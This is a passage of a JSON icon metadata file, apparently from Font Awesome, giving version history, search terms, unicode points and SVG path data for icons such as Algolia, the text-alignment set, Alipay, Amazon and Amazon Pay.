        "path": "M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z"
      }
    },
    "free": ["brands"]
  },
  "algolia": {
    "changes": ["5.0.0", "6.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36c",
    "label": "Algolia",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1675090779,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0C116.1 0 2 112.7 0 252.1C-2 393.6 112.9 510.8 254.5 511.6c43.7 .3 85.9-10.4 123.3-30.7c3.6-2 4.2-7 1.1-9.7l-24-21.2c-4.9-4.3-11.8-5.5-17.8-3c-26.1 11.1-54.5 16.8-83.7 16.4C139 461.9 46.5 366.8 48.3 252.4C50.1 139.5 142.6 48.2 256 48.2H463.7V417.2L345.9 312.5c-3.8-3.4-9.7-2.7-12.7 1.3c-18.9 25-49.7 40.6-83.9 38.2c-47.5-3.3-85.9-41.5-89.5-88.9c-4.2-56.6 40.6-103.9 96.3-103.9c50.4 0 91.9 38.8 96.2 88c.4 4.4 2.4 8.5 5.7 11.4l30.7 27.2c3.5 3.1 9 1.2 9.9-3.4c2.2-11.8 3-24.2 2.1-36.8c-4.9-72-63.3-130-135.4-134.4c-82.7-5.1-151.8 59.5-154 140.6c-2.1 78.9 62.6 147 141.6 148.7c33 .7 63.6-9.6 88.3-27.6L495 509.4c6.6 5.8 17 1.2 17-7.7V9.7c0-5.4-4.4-9.7-9.7-9.7H256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0C116.1 0 2 112.7 0 252.1C-2 393.6 112.9 510.8 254.5 511.6c43.7 .3 85.9-10.4 123.3-30.7c3.6-2 4.2-7 1.1-9.7l-24-21.2c-4.9-4.3-11.8-5.5-17.8-3c-26.1 11.1-54.5 16.8-83.7 16.4C139 461.9 46.5 366.8 48.3 252.4C50.1 139.5 142.6 48.2 256 48.2H463.7V417.2L345.9 312.5c-3.8-3.4-9.7-2.7-12.7 1.3c-18.9 25-49.7 40.6-83.9 38.2c-47.5-3.3-85.9-41.5-89.5-88.9c-4.2-56.6 40.6-103.9 96.3-103.9c50.4 0 91.9 38.8 96.2 88c.4 4.4 2.4 8.5 5.7 11.4l30.7 27.2c3.5 3.1 9 1.2 9.9-3.4c2.2-11.8 3-24.2 2.1-36.8c-4.9-72-63.3-130-135.4-134.4c-82.7-5.1-151.8 59.5-154 140.6c-2.1 78.9 62.6 147 141.6 148.7c33 .7 63.6-9.6 88.3-27.6L495 509.4c6.6 5.8 17 1.2 17-7.7V9.7c0-5.4-4.4-9.7-9.7-9.7H256z"
      }
    },
    "free": ["brands"]
  },
  "align-center": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f037"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "middle", "paragraph", "text"]
    },
    "styles": ["solid"],
    "unicode": "f037",
    "label": "Align Center",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 64c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32zm96 128c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32zM0 448c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zM352 320c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 64c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32zm96 128c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32zM0 448c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zM352 320c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32z"
      }
    },
    "free": ["solid"]
  },
  "align-justify": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f039"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "paragraph", "text"]
    },
    "styles": ["solid"],
    "unicode": "f039",
    "label": "Align Justify",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64S14.3 96 32 96H416c17.7 0 32-14.3 32-32zm0 256c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32zM0 192c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zM448 448c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64S14.3 96 32 96H416c17.7 0 32-14.3 32-32zm0 256c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32zM0 192c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zM448 448c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32z"
      }
    },
    "free": ["solid"]
  },
  "align-left": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f036"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "paragraph", "text"]
    },
    "styles": ["solid"],
    "unicode": "f036",
    "label": "Align Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M288 64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32H256c17.7 0 32 14.3 32 32zm0 256c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H256c17.7 0 32 14.3 32 32zM0 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M288 64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32H256c17.7 0 32 14.3 32 32zm0 256c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H256c17.7 0 32 14.3 32 32zM0 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "align-right": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f038"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "paragraph", "text"]
    },
    "styles": ["solid"],
    "unicode": "f038",
    "label": "Align Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 64c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32zm0 256c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32zM0 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 64c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32zm0 256c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32zM0 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "alipay": {
    "changes": ["5.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f642",
    "label": "Alipay",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z"
      }
    },
    "free": ["brands"]
  },
  "amazon": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f270",
    "label": "Amazon",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z"
      }
    },
    "free": ["brands"]
  },
  "amazon-pay": {
    "changes": ["5.0.2", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42c",
    "label": "Amazon Pay",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z"
      }
    },
    "free": ["brands"]
  },
  "amilia": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36d",
    "label": "Amilia",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
